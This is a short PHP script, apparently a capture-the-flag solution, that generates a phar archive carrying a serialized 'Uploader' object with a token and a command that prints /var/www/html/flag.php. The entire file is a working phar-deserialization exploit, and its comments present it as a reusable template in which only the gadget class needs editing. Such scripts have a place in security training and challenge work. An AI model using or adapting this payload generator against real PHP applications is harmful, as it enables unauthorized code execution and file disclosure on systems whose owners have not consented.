<?php
//前面写构造反序列化的代码
//最后$a为需要序列化的变量，因为后面的代码以$a为需要序列化的变量
//$a = new 类名;//如($a=new aaa();)
class Uploader{
    public $Filename='test';
    public $cmd;
    public $token='GXY1b0cacc1e6a88900fdcdd260e8ce2192';

}
$a=new Uploader();
//$a->Filename=&$a->token;
$a->cmd='highlight_file("/var/www/html/flag.php");';
//下面都不需要改
@unlink('test.phar');//删除test.phar文件,前面加上@确保不报错
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>